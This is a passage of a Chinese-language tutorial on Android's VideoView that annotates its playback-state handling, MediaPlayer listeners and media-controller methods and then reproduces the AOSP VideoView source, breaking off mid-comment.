\"Unable to open content: \" + mUri, ex);\n\t\t\t\t\tmCurrentState = STATE_ERROR;\n\t\t\t\t\tmTargetState = STATE_ERROR;\n\t\t\t\t\tmErrorListener.onError(mMediaPlayer, MediaPlayer.MEDIA_ERROR_UNKNOWN, 0);\n\t\t\t\t\treturn;\n\t\t\t\t} catch (IllegalArgumentException ex) {\n\t\t\t\t\tLog.w(TAG, \"Unable to open content: \" + mUri, ex);\n\t\t\t\t\tmCurrentState = STATE_ERROR;\n\t\t\t\t\tmTargetState = STATE_ERROR;\n\t\t\t\t\tmErrorListener.onError(mMediaPlayer, MediaPlayer.MEDIA_ERROR_UNKNOWN, 0);\n\t\t\t\t\treturn;\n\t\t\t\t} finally {\n\t\t\t\t\tmPendingSubtitleTracks.clear();\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t\t\n\t\t\trelease() 方法,在开始播放一个视频的时候会先调用该方法，然后重新创建一个，在SurfaceView销毁的时候也会调用该方法\n\t\t\t```java\n\t\t\t/*\n\t\t\t * release the media player in any state\n\t\t\t */\n\t\t\tprivate void release(boolean cleartargetstate) {\n\t\t\t\tif (mMediaPlayer != null) {\n\t\t\t\t\tmMediaPlayer.reset();\n\t\t\t\t\tmMediaPlayer.release();\n\t\t\t\t\tmMediaPlayer = null;\n\t\t\t\t\tmPendingSubtitleTracks.clear();\n\t\t\t\t\tmCurrentState = STATE_IDLE;\n\t\t\t\t\tif (cleartargetstate) {\n\t\t\t\t\t\tmTargetState  = STATE_IDLE;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t\n\t\t- 外部停止播放调用\n\t\t\t```java\n\t\t\tpublic void stopPlayback() {\n\t\t\t\tif (mMediaPlayer != null) {\n\t\t\t\t\tmMediaPlayer.stop();\n\t\t\t\t\tmMediaPlayer.release();\n\t\t\t\t\tmMediaPlayer = null;\n\t\t\t\t\tmCurrentState = STATE_IDLE;\n\t\t\t\t\tmTargetState  = STATE_IDLE;\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t\t\n\t\t- 外部设置控制栏部分\n\t\t    ```java\n\t\t\tpublic void setMediaController(MediaController controller) {\n\t\t\t\tif (mMediaController != null) {\n\t\t\t\t\tmMediaController.hide();\n\t\t\t\t}\n\t\t\t\tmMediaController = controller;\n\t\t\t\tattachMediaController();\n\t\t\t}\n\n\t\t\tprivate void attachMediaController() {\n\t\t\t\tif (mMediaPlayer != null && mMediaController != null) {\n\t\t\t\t\t// setMediaPlayer(MediaPlayerControl player), 让MediaPlayer相应的控制部分调用本类中的实现方法\n\t\t\t\t\tmMediaController.setMediaPlayer(this);\n\t\t\t\t\tView anchorView = this.getParent() instanceof View ?\n\t\t\t\t\t\t\t(View)this.getParent() : this;\n\t\t\t\t\t\t\t\n\t\t\t\t\t// 创建Controller并且依据AnchorView的位置进行显示\n\t\t\t\t\tmMediaController.setAnchorView(anchorView);\n\t\t\t\t\tmMediaController.setEnabled(isInPlaybackState());\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t\t\n\t\t- MediaPlayer必要监听\n\t\t\t- OnVideoSizeChangedListener\n\t\t\t\t```java\n\t\t\t\tMediaPlayer.OnVideoSizeChangedListener mSizeChangedListener =\n\t\t\t\t\tnew MediaPlayer.OnVideoSizeChangedListener() {\n\t\t\t\t\t\tpublic void onVideoSizeChanged(MediaPlayer mp, int width, int height) {\n\t\t\t\t\t\t\tmVideoWidth = mp.getVideoWidth();\n\t\t\t\t\t\t\tmVideoHeight = mp.getVideoHeight();\n\t\t\t\t\t\t\tif (mVideoWidth != 0 && mVideoHeight != 0) {\n\t\t\t\t\t\t\t\t// 这个方法是设置Surface分辨率，而不是设置视频播放窗口的大小，视频播放窗口大小是由SurfaceView的布局控制，要分清Surface与SurfaceView的区别，Surface是Window中整个的一个控件(句柄),\n\t\t\t\t\t\t\t\t// 而SurfaceView是一个包含Surface的View，SurfaceView覆盖到Surface上(可以这样理解)，我们只能通过SurfaceView来看Surface中的内容,至于在SurfaceView显示之外的Surface我们是不可见的.\n\t\t\t\t\t\t\t\tgetHolder().setFixedSize(mVideoWidth, mVideoHeight);\n\t\t\t\t\t\t\t\trequestLayout();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\t```\n\n\t\t    - OnPreparedListener\n\t\t\t    ```java\n\t\t\t\tMediaPlayer.OnPreparedListener mPreparedListener = new MediaPlayer.OnPreparedListener() {\n\t\t\t\t\tpublic void onPrepared(MediaPlayer mp) {\n\t\t\t\t\t\tmCurrentState = STATE_PREPARED;\n\n\t\t\t\t\t\t// Get the capabilities of the player for this stream\n\t\t\t\t\t\tMetadata data = mp.getMetadata(MediaPlayer.METADATA_ALL,\n\t\t\t\t\t\t\t\t\t\t\t\t  MediaPlayer.BYPASS_METADATA_FILTER);\n\n\t\t\t\t\t\tif (data != null) {\n\t\t\t\t\t\t\tmCanPause = !data.has(Metadata.PAUSE_AVAILABLE)\n\t\t\t\t\t\t\t\t\t|| data.getBoolean(Metadata.PAUSE_AVAILABLE);\n\t\t\t\t\t\t\tmCanSeekBack = !data.has(Metadata.SEEK_BACKWARD_AVAILABLE)\n\t\t\t\t\t\t\t\t\t|| data.getBoolean(Metadata.SEEK_BACKWARD_AVAILABLE);\n\t\t\t\t\t\t\tmCanSeekForward = !data.has(Metadata.SEEK_FORWARD_AVAILABLE)\n\t\t\t\t\t\t\t\t\t|| data.getBoolean(Metadata.SEEK_FORWARD_AVAILABLE);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tmCanPause = mCanSeekBack = mCanSeekForward = true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (mOnPreparedListener != null) {\n\t\t\t\t\t\t\tmOnPreparedListener.onPrepared(mMediaPlayer);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (mMediaController != null) {\n\t\t\t\t\t\t\tmMediaController.setEnabled(true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmVideoWidth = mp.getVideoWidth();\n\t\t\t\t\t\tmVideoHeight = mp.getVideoHeight();\n\n\t\t\t\t\t\tint seekToPosition = mSeekWhenPrepared;  // mSeekWhenPrepared may be changed after seekTo() call\n\t\t\t\t\t\tif (seekToPosition != 0) {\n\t\t\t\t\t\t\tseekTo(seekToPosition);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (mVideoWidth != 0 && mVideoHeight != 0) {\n\t\t\t\t\t\t\t//Log.i(\"@@@@\", \"video size: \" + mVideoWidth +\"/\"+ mVideoHeight);\n\t\t\t\t\t\t\tgetHolder().setFixedSize(mVideoWidth, mVideoHeight);\n\t\t\t\t\t\t\tif (mSurfaceWidth == mVideoWidth && mSurfaceHeight == mVideoHeight) {\n\t\t\t\t\t\t\t\t// We didn't actually change the size (it was already at the size\n\t\t\t\t\t\t\t\t// we need), so we won't get a \"surface changed\" callback, so\n\t\t\t\t\t\t\t\t// start the video here instead of in the callback.\n\t\t\t\t\t\t\t\tif (mTargetState == STATE_PLAYING) {\n\t\t\t\t\t\t\t\t\tstart();\n\t\t\t\t\t\t\t\t\tif (mMediaController != null) {\n\t\t\t\t\t\t\t\t\t\tmMediaController.show();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else if (!isPlaying() &&\n\t\t\t\t\t\t\t\t\t\t   (seekToPosition != 0 || getCurrentPosition() > 0)) {\n\t\t\t\t\t\t\t\t   if (mMediaController != null) {\n\t\t\t\t\t\t\t\t\t   // Show the media controls when we're paused into a video and make 'em stick.\n\t\t\t\t\t\t\t\t\t   mMediaController.show(0);\n\t\t\t\t\t\t\t\t   }\n\t\t\t\t\t\t\t   }\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// We don't know the video size yet, but should start anyway.\n\t\t\t\t\t\t\t// The video size might be reported to us later.\n\t\t\t\t\t\t\tif (mTargetState == STATE_PLAYING) {\n\t\t\t\t\t\t\t\tstart();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\t```\n\t\t\t\t\n\t\t\t- OnCompletionListener\n\t\t\t\t```java\n\t\t\t\tprivate MediaPlayer.OnCompletionListener mCompletionListener =\n\t\t\t\t\tnew MediaPlayer.OnCompletionListener() {\n\t\t\t\t\tpublic void onCompletion(MediaPlayer mp) {\n\t\t\t\t\t\tmCurrentState = STATE_PLAYBACK_COMPLETED;\n\t\t\t\t\t\tmTargetState = STATE_PLAYBACK_COMPLETED;\n\t\t\t\t\t\tif (mMediaController != null) {\n\t\t\t\t\t\t\tmMediaController.hide();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (mOnCompletionListener != null) {\n\t\t\t\t\t\t\tmOnCompletionListener.onCompletion(mMediaPlayer);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\t```\n\t\t\t\t\n\t\t- Touch以及Key的监听\n\t\t    ```java\n\t\t\t@Override\n\t\t\tpublic boolean onTouchEvent(MotionEvent ev) {\n\t\t\t\tif (isInPlaybackState() && mMediaController != null) {\n\t\t\t\t    // 控制MediaController的显示与隐藏\n\t\t\t\t\ttoggleMediaControlsVisiblity();\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t```\n\n\t\t- toggleMediaControlsVisiblity      \n\t\t\t```java\n\t\t\tprivate void toggleMediaControlsVisiblity() {\n\t\t\t\tif (mMediaController.isShowing()) {\n\t\t\t\t\tmMediaController.hide();\n\t\t\t\t} else {\n\t\t\t\t\tmMediaController.show();\n\t\t\t\t}\n\t\t\t}\n\t\t\t```\n\t\t\t\t\n\t\t- Key\n\t\t    ```java\n\t\t\t@Override\n\t\t\tpublic boolean onKeyDown(int keyCode, KeyEvent event)\n\t\t\t{\n\t\t\t\tboolean isKeyCodeSupported = keyCode != KeyEvent.KEYCODE_BACK &&\n\t\t\t\t\t\t\t\t\t\t\t keyCode != KeyEvent.KEYCODE_VOLUME_UP &&\n\t\t\t\t\t\t\t\t\t\t\t keyCode != KeyEvent.KEYCODE_VOLUME_DOWN &&\n\t\t\t\t\t\t\t\t\t\t\t keyCode != KeyEvent.KEYCODE_VOLUME_MUTE &&\n\t\t\t\t\t\t\t\t\t\t\t keyCode != KeyEvent.KEYCODE_MENU &&\n\t\t\t\t\t\t\t\t\t\t\t keyCode != KeyEvent.KEYCODE_CALL &&\n\t\t\t\t\t\t\t\t\t\t\t keyCode != KeyEvent.KEYCODE_ENDCALL;\n\t\t\t\tif (isInPlaybackState() && isKeyCodeSupported && mMediaController != null) {\n\t\t\t\t\tif (keyCode == KeyEvent.KEYCODE_HEADSETHOOK ||\n\t\t\t\t\t\t\tkeyCode == KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE) {\n\t\t\t\t\t\tif (mMediaPlayer.isPlaying()) {\n\t\t\t\t\t\t\tpause();\n\t\t\t\t\t\t\tmMediaController.show();\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tstart();\n\t\t\t\t\t\t\tmMediaController.hide();\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t} else if (keyCode == KeyEvent.KEYCODE_MEDIA_PLAY) {\n\t\t\t\t\t\tif (!mMediaPlayer.isPlaying()) {\n\t\t\t\t\t\t\tstart();\n\t\t\t\t\t\t\tmMediaController.hide();\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t} else if (keyCode == KeyEvent.KEYCODE_MEDIA_STOP\n\t\t\t\t\t\t\t|| keyCode == KeyEvent.KEYCODE_MEDIA_PAUSE) {\n\t\t\t\t\t\tif (mMediaPlayer.isPlaying()) {\n\t\t\t\t\t\t\tpause();\n\t\t\t\t\t\t\tmMediaController.show();\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttoggleMediaControlsVisiblity();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn super.onKeyDown(keyCode, event);\n\t\t\t}\n\t\t\t```\n\n华丽丽的分割线 上源码\n==============\n\n----------------------\n```java\n/*\n * Copyright (C) 2006 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * Displays a video file.  The VideoView class\n * can load images from various sources (such as resources or content\n * providers), takes care of computing its measurement from the video so that\n * it can be used in any layout manager, and provides various display options\n * such as scaling and tinting.<p>\n *\n * <em>Note: VideoView does not retain its full state when going into the\n * background.</em>  In particular, it does not restore the current play state,\n * play position, selected tracks, or any subtitle tracks added via\n * {@link #addSubtitleSource addSubtitleSource()}.  Applications should\n * save and restore these on their own in\n * {@link android.app.Activity#onSaveInstanceState} and\n * {@link android.app.Activity#onRestoreInstanceState}.<p>\n * Also note that the audio session id (from {@link #getAudioSessionId}) may\n * change from its previously returned value when the VideoView is restored.\n */\npublic class VideoView extends SurfaceView\n        implements MediaPlayerControl, SubtitleController.Anchor {\n    private String TAG = \"VideoView\";\n    // settable by the client\n    private Uri         mUri;\n    private Map<String, String> mHeaders;\n\n    // all possible internal states\n    private static final int STATE_ERROR              = -1;\n    private static final int STATE_IDLE               = 0;\n    private static final int STATE_PREPARING          = 1;\n    private static final int STATE_PREPARED           = 2;\n    private static final int STATE_PLAYING            = 3;\n    private static final int STATE_PAUSED             = 4;\n    private static final int STATE_PLAYBACK_COMPLETED = 5;\n\n    // mCurrentState is a VideoView object's current state.\n    // mTargetState is the state that a method caller intends to reach.\n    // For instance, regardless the VideoView object's current state,\n    // calling pause() intends to bring the object to a target state\n    // of STATE_PAUSED.\n    private int mCurrentState = STATE_IDLE;\n    private int mTargetState  = STATE_IDLE;\n\n    // All the stuff we need for playing and showing a video\n    private SurfaceHolder mSurfaceHolder = null;\n    private MediaPlayer mMediaPlayer = null;\n    private int         mAudioSession;\n    private int         mVideoWidth;\n    private int         mVideoHeight;\n    private int         mSurfaceWidth;\n    private int         mSurfaceHeight;\n    private MediaController mMediaController;\n    private OnCompletionListener mOnCompletionListener;\n    private MediaPlayer.OnPreparedListener mOnPreparedListener;\n    private int         mCurrentBufferPercentage;\n    private OnErrorListener mOnErrorListener;\n    private OnInfoListener  mOnInfoListener;\n    private int         mSeekWhenPrepared;  // recording the seek position while preparing\n    private boolean     mCanPause;\n    private boolean     mCanSeekBack;\n    private boolean     mCanSeekForward;\n\n    /** Subtitle rendering widget overlaid on top of the video. */\n    private RenderingWidget mSubtitleWidget;\n\n    /** Listener for changes to subtitle data, used to redraw when needed. */\n    private RenderingWidget.OnChangedListener mSubtitlesChangedListener;\n\n    public VideoView(Context context) {\n        super(context);\n        initVideoView();\n    }\n\n    public VideoView(Context context, AttributeSet attrs) {\n        this(context, attrs, 0);\n        initVideoView();\n    }\n\n    public VideoView(Context context, AttributeSet attrs, int defStyle) {\n        super(context, attrs, defStyle);\n        initVideoView();\n    }\n\n    @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        //Log.i(\"@@@@\", \"onMeasure(\" + MeasureSpec.toString(widthMeasureSpec) + \", \"\n        //        + MeasureSpec.toString(heightMeasureSpec) + \")\");\n\n        int width = getDefaultSize(mVideoWidth, widthMeasureSpec);\n        int height = getDefaultSize(mVideoHeight, heightMeasureSpec);\n        if (mVideoWidth > 0 && mVideoHeight > 0) {\n\n            int widthSpecMode = MeasureSpec.getMode(widthMeasureSpec);\n            int widthSpecSize = MeasureSpec.getSize(widthMeasureSpec);\n            int heightSpecMode = MeasureSpec.getMode(heightMeasureSpec);\n            int heightSpecSize = MeasureSpec.getSize(heightMeasureSpec);\n\n            if (widthSpecMode == MeasureSpec.EXACTLY && heightSpecMode == MeasureSpec.EXACTLY) {\n                // the size is fixed\n                width = widthSpecSize;\n                height = heightSpecSize;\n\n                // for compatibility, we adjust size based on aspect ratio\n                if ( mVideoWidth * height  < width * mVideoHeight ) {\n                    //Log.i(\"@@@\", \"image too wide, correcting\");\n                    width = height * mVideoWidth / mVideoHeight;\n                } else if ( mVideoWidth * height  > width * mVideoHeight ) {\n                    //Log.i(\"@@@\", \"image too tall, correcting\");\n                    height = width * mVideoHeight / mVideoWidth;\n                }\n            } else if (widthSpecMode == MeasureSpec.EXACTLY) {\n                // only the width is fixed, adjust the height to match aspect ratio if possible\n                width = widthSpecSize;\n                height = width * mVideoHeight / mVideoWidth;\n                if (heightSpecMode == MeasureSpec.AT_MOST && height > heightSpecSize) {\n                    // couldn't match aspect ratio within the constraints\n                    height = heightSpecSize;\n                }\n            } else if (heightSpecMode == MeasureSpec.EXACTLY) {\n                // only the height is fixed, adjust the width to match aspect ratio if possible\n                height = heightSpecSize;\n                width = height * mVideoWidth / mVideoHeight;\n                if (widthSpecMode == MeasureSpec.AT_MOST && width > widthSpecSize) {\n                    // couldn't match aspect ratio within the constraints\n                    width = widthSpecSize;\n                }\n            } else {\n                // neither the width nor the height are fixed, try to use actual video size\n                width = mVideoWidth;\n                height = mVideoHeight;\n                if (heightSpecMode == MeasureSpec.AT_MOST && height > heightSpecSize) {\n                    // too tall, decrease both width and height\n                    height = heightSpecSize;\n                    width = height * mVideoWidth / mVideoHeight;\n                }\n                if (widthSpecMode == MeasureSpec.AT_MOST && width > widthSpecSize) {\n                    // too wide, decrease both width and height\n                    width = widthSpecSize;\n                    height = width * mVideoHeight / mVideoWidth;\n                }\n            }\n        } else {\n            // no size yet, just adopt the given spec sizes\n        }\n        setMeasuredDimension(width, height);\n    }\n\n    @Override\n    public void onInitializeAccessibilityEvent(AccessibilityEvent event) {\n        super.onInitializeAccessibilityEvent(event);\n        event.setClassName(VideoView.class.getName());\n    }\n\n    @Override\n    public void onInitializeAccessibilityNodeInfo(AccessibilityNodeInfo info) {\n        super.onInitializeAccessibilityNodeInfo(info);\n        info.setClassName(VideoView.class.getName());\n    }\n\n    public int resolveAdjustedSize(int desiredSize, int measureSpec) {\n        return getDefaultSize(desiredSize, measureSpec);\n    }\n\n    private void initVideoView() {\n        mVideoWidth = 0;\n        mVideoHeight = 0;\n        getHolder().addCallback(mSHCallback);\n        getHolder().setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);\n        setFocusable(true);\n        setFocusableInTouchMode(true);\n        requestFocus();\n        mPendingSubtitleTracks = new Vector<Pair<InputStream, MediaFormat>>();\n        mCurrentState = STATE_IDLE;\n        mTargetState  = STATE_IDLE;\n    }\n\n    public void setVideoPath(String path) {\n        setVideoURI(Uri.parse(path));\n    }\n\n    public void setVideoURI(Uri uri) {\n        setVideoURI(uri, null);\n    }\n\n    /**\n     * @hide\n     */\n    public void setVideoURI(Uri uri, Map<String, String> headers) {\n        mUri = uri;\n        mHeaders = headers;\n        mSeekWhenPrepared = 0;\n        openVideo();\n        requestLayout();\n        invalidate();\n    }\n\n    /**\n     * Adds an external subtitle source file (from the provided input stream.)\n     *\n     * Note that a single external subtitle source may contain multiple or no\n     * supported tracks in it. If the source contained at least one track in\n     * it, one will receive an {@link MediaPlayer#MEDIA_INFO_METADATA_UPDATE}\n     * info message. Otherwise, if reading the source takes excessive time,\n     * one will receive a {@link MediaPlayer#MEDIA_INFO_SUBTITLE_TIMED_OUT}\n     * message. If the source contained no supported track (including an empty\n     * source file or null input stream), one will receive a {@link\n     * MediaPlayer#MEDIA_INFO_UNSUPPORTED_SUBTITLE} message. One can find the\n     * total number of available tracks using {@link MediaPlayer#getTrackInfo()}\n     * to see what additional tracks become available after this method call.\n     *\n     * @param is     input stream containing the subtitle data.  It will be\n     *               closed by the media framework.\n     * @param format the format of the subtitle track(s).  Must contain at least\n     *               the mime type ({@link MediaFormat#KEY_MIME}) and the\n     *               language ({@link MediaFormat#KEY_LANGUAGE}) of the file.\n     *               If the file itself contains the language information,\n     *               specify \"und\" for the language.\n     */\n    public void addSubtitleSource(InputStream is, MediaFormat format) {\n        if (mMediaPlayer == null) {\n            mPendingSubtitleTracks.add(Pair.create(is, format));\n        } else {\n            try {\n                mMediaPlayer.addSubtitleSource(is, format);\n            } catch (IllegalStateException e) {\n                mInfoListener.onInfo(\n                        mMediaPlayer, MediaPlayer.MEDIA_INFO_UNSUPPORTED_SUBTITLE, 0);\n            }\n        }\n    }\n\n    private Vector<Pair<InputStream, MediaFormat>> mPendingSubtitleTracks;\n\n    public void stopPlayback() {\n        if (mMediaPlayer != null) {\n            mMediaPlayer.stop();\n            mMediaPlayer.release();\n            mMediaPlayer = null;\n            mCurrentState = STATE_IDLE;\n            mTargetState  = STATE_IDLE;\n        }\n    }\n\n    private void openVideo() {\n        if (mUri == null || mSurfaceHolder == null) {\n            // not ready for playback just yet, will try again later\n            return;\n        }\n        // Tell the music playback service to pause\n        // TODO: these constants need to be published somewhere in the framework.\n        Intent i = new Intent(\"com.android.music.musicservicecommand\");\n        i.putExtra(\"command\", \"pause\");\n        mContext.sendBroadcast(i);\n\n        // we shouldn't clear the target state, because somebody might have\n        // called start() previously\n        release(false);\n        try {\n            mMediaPlayer = new MediaPlayer();\n            // TODO: create SubtitleController in MediaPlayer, but we need\n            // a context for the subtitle renderers\n            final Context context = getContext();\n            final SubtitleController controller = new SubtitleController(\n                    context, mMediaPlayer.getMediaTimeProvider(), mMediaPlayer);\n            controller.registerRenderer(new WebVttRenderer(context));\n            mMediaPlayer.setSubtitleAnchor(controller, this);\n\n            if (mAudioSession != 0) {\n                mMediaPlayer.setAudioSessionId(mAudioSession);\n            } else {\n                mAudioSession = mMediaPlayer.getAudioSessionId();\n            }\n            mMediaPlayer.setOnPreparedListener(mPreparedListener);\n            mMediaPlayer.setOnVideoSizeChangedListener(mSizeChangedListener);\n            mMediaPlayer.setOnCompletionListener(mCompletionListener);\n            mMediaPlayer.setOnErrorListener(mErrorListener);\n            mMediaPlayer.setOnInfoListener(mInfoListener);\n            mMediaPlayer.setOnBufferingUpdateListener(mBufferingUpdateListener);\n            mCurrentBufferPercentage = 0;\n            mMediaPlayer.setDataSource(mContext, mUri, mHeaders);\n            mMediaPlayer.setDisplay(mSurfaceHolder);\n            mMediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);\n            mMediaPlayer.setScreenOnWhilePlaying(true);\n            mMediaPlayer.prepareAsync();\n\n            for (Pair<InputStream, MediaFormat> pending: mPendingSubtitleTracks) {\n                try {\n                    mMediaPlayer.addSubtitleSource(pending.first, pending.second);\n                } catch (IllegalStateException e) {\n                    mInfoListener.onInfo(\n                            mMediaPlayer, MediaPlayer.MEDIA_INFO_UNSUPPORTED_SUBTITLE, 0);\n                }\n            }\n\n            // we don't set the target state here either, but preserve the\n            // target state that was there before.\n            mCurrentState = STATE_PREPARING;\n            attachMediaController();\n        } catch (IOException ex) {\n            Log.w(TAG, \"Unable to open content: \" + mUri, ex);\n            mCurrentState = STATE_ERROR;\n            mTargetState = STATE_ERROR;\n            mErrorListener.onError(mMediaPlayer, MediaPlayer.MEDIA_ERROR_UNKNOWN, 0);\n            return;\n        } catch (IllegalArgumentException ex) {\n            Log.w(TAG, \"Unable to open content: \" + mUri, ex);\n            mCurrentState = STATE_ERROR;\n            mTargetState = STATE_ERROR;\n            mErrorListener.onError(mMediaPlayer, MediaPlayer.MEDIA_ERROR_UNKNOWN, 0);\n            return;\n        } finally {\n            mPendingSubtitleTracks.clear();\n        }\n    }\n\n    public void setMediaController(MediaController controller) {\n        if (mMediaController != null) {\n            mMediaController.hide();\n        }\n        mMediaController = controller;\n        attachMediaController();\n    }\n\n    private void attachMediaController() {\n        if (mMediaPlayer != null && mMediaController != null) {\n            mMediaController.setMediaPlayer(this);\n            View anchorView = this.getParent() instanceof View ?\n                    (View)this.getParent() : this;\n            mMediaController.setAnchorView(anchorView);\n            mMediaController.setEnabled(isInPlaybackState());\n        }\n    }\n\n    MediaPlayer.OnVideoSizeChangedListener mSizeChangedListener =\n        new MediaPlayer.OnVideoSizeChangedListener() {\n            public void onVideoSizeChanged(MediaPlayer mp, int width, int height) {\n                mVideoWidth = mp.getVideoWidth();\n                mVideoHeight = mp.getVideoHeight();\n                if (mVideoWidth != 0 && mVideoHeight != 0) {\n                    getHolder().setFixedSize(mVideoWidth, mVideoHeight);\n                    requestLayout();\n                }\n            }\n    };\n\n    MediaPlayer.OnPreparedListener mPreparedListener = new MediaPlayer.OnPreparedListener() {\n        public void onPrepared(MediaPlayer mp) {\n            mCurrentState = STATE_PREPARED;\n\n            // Get the capabilities of the player for this stream\n            Metadata data = mp.getMetadata(MediaPlayer.METADATA_ALL,\n                                      MediaPlayer.BYPASS_METADATA_FILTER);\n\n            if (data != null) {\n                mCanPause = !data.has(Metadata.PAUSE_AVAILABLE)\n                        || data.getBoolean(Metadata.PAUSE_AVAILABLE);\n                mCanSeekBack = !data.has(Metadata.SEEK_BACKWARD_AVAILABLE)\n                        || data.getBoolean(Metadata.SEEK_BACKWARD_AVAILABLE);\n                mCanSeekForward = !data.has(Metadata.SEEK_FORWARD_AVAILABLE)\n                        || data.getBoolean(Metadata.SEEK_FORWARD_AVAILABLE);\n            } else {\n                mCanPause = mCanSeekBack = mCanSeekForward = true;\n            }\n\n            if (mOnPreparedListener != null) {\n                mOnPreparedListener.onPrepared(mMediaPlayer);\n            }\n            if (mMediaController != null) {\n                mMediaController.setEnabled(true);\n            }\n            mVideoWidth = mp.getVideoWidth();\n            mVideoHeight = mp.getVideoHeight();\n\n            int seekToPosition = mSeekWhenPrepared;  // mSeekWhenPrepared may be changed after seekTo() call\n            if (seekToPosition != 0) {\n                seekTo(seekToPosition);\n            }\n            if (mVideoWidth != 0 && mVideoHeight != 0) {\n                //Log.i(\"@@@@\", \"video size: \" + mVideoWidth +\"/\"+ mVideoHeight);\n                getHolder().setFixedSize(mVideoWidth, mVideoHeight);\n                if (mSurfaceWidth == mVideoWidth && mSurfaceHeight == mVideoHeight) {\n                    // We didn't actually change the size (it was already at the size\n                    // we need), so we won't get a \"surface changed\" callback, so\n                    // start the video here instead of in the callback.\n                    if (mTargetState == STATE_PLAYING) {\n                        start();\n                        if (mMediaController != null) {\n                            mMediaController.show();\n                        }\n                    } else if (!isPlaying() &&\n                               (seekToPosition != 0 || getCurrentPosition() > 0)) {\n                       if (mMediaController != null) {\n                           // Show the media controls when we're paused into a video and make 'em stick.\n                           mMediaController.show(0);\n                       }\n                   }\n                }\n            } else {\n                // We don't know the video size yet, but should start anyway.\n                // The video size might be reported to us later.\n                if (mTargetState == STATE_PLAYING) {\n                    start();\n                }\n            }\n        }\n    };\n\n    private MediaPlayer.OnCompletionListener mCompletionListener =\n        new MediaPlayer.OnCompletionListener() {\n        public void onCompletion(MediaPlayer mp) {\n            mCurrentState = STATE_PLAYBACK_COMPLETED;\n            mTargetState = STATE_PLAYBACK_COMPLETED;\n            if (mMediaController != null) {\n                mMediaController.hide();\n            }\n            if (mOnCompletionListener != null) {\n                mOnCompletionListener.onCompletion(mMediaPlayer);\n            }\n        }\n    };\n\n    private MediaPlayer.OnInfoListener mInfoListener =\n        new MediaPlayer.OnInfoListener() {\n        public  boolean onInfo(MediaPlayer mp, int arg1, int arg2) {\n            if (mOnInfoListener != null) {\n                mOnInfoListener.onInfo(mp, arg1, arg2);\n            }\n            return true;\n        }\n    };\n\n    private MediaPlayer.OnErrorListener mErrorListener =\n        new MediaPlayer.OnErrorListener() {\n        public boolean onError(MediaPlayer mp, int framework_err, int impl_err) {\n            Log.d(TAG, \"Error: \" + framework_err + \",\" + impl_err);\n            mCurrentState = STATE_ERROR;\n            mTargetState = STATE_ERROR;\n            if (mMediaController != null) {\n                mMediaController.hide();\n            }\n\n            /* If an error handler has been supplied, use it and finish. */\n            if (mOnErrorListener != null) {\n                if (mOnErrorListener.onError(mMediaPlayer, framework_err, impl_err)) {\n                    return true;\n                }\n            }\n\n            /* Otherwise, pop up an error dialog so the user knows that\n             * something bad has happened. Only try and pop up the dialog\n             * if we're attached to a window. When we're going away and no\n             * longer have a window, don't bother showing the user an error.\n             */\n            if (getWindowToken() != null) {\n                Resources r = mContext.getResources();\n                int messageId;\n\n                if (framework_err == MediaPlayer.MEDIA_ERROR_NOT_VALID_FOR_PROGRESSIVE_PLAYBACK) {\n                    messageId = com.android.internal.R.string.VideoView_error_text_invalid_progressive_playback;\n                } else {\n                    messageId = com.android.internal.R.string.VideoView_error_text_unknown;\n                }\n\n                new AlertDialog.Builder(mContext)\n                        .setMessage(messageId)\n                        .setPositiveButton(com.android.internal.R.string.VideoView_error_button,\n                                new DialogInterface.OnClickListener() {\n                                    public void onClick(DialogInterface dialog, int whichButton) {\n                                        /* If we get here, there is no onError listener, so\n                                         * at least inform them that the video is over.\n                                         */\n                                        if (mOnCompletionListener != null) {\n                                            mOnCompletionListener.onCompletion(mMediaPlayer);\n                                        }\n                                    }\n                                })\n                        .setCancelable(false)\n                        .show();\n            }\n            return true;\n        }\n    };\n\n    private MediaPlayer.OnBufferingUpdateListener mBufferingUpdateListener =\n        new MediaPlayer.OnBufferingUpdateListener() {\n        public void onBufferingUpdate(MediaPlayer mp, int percent) {\n            mCurrentBufferPercentage = percent;\n        }\n    };\n\n    /**\n     * Register a callback to be invoked when the media file\n     * is loaded and ready to go.\n     *\n     * @param l The callback that will be run\n     */\n    public void setOnPreparedListener(MediaPlayer.OnPreparedListener l)\n    {\n        mOnPreparedListener = l;\n    }\n\n    /**\n     * Register a callback to be invoked when the end of a media file\n   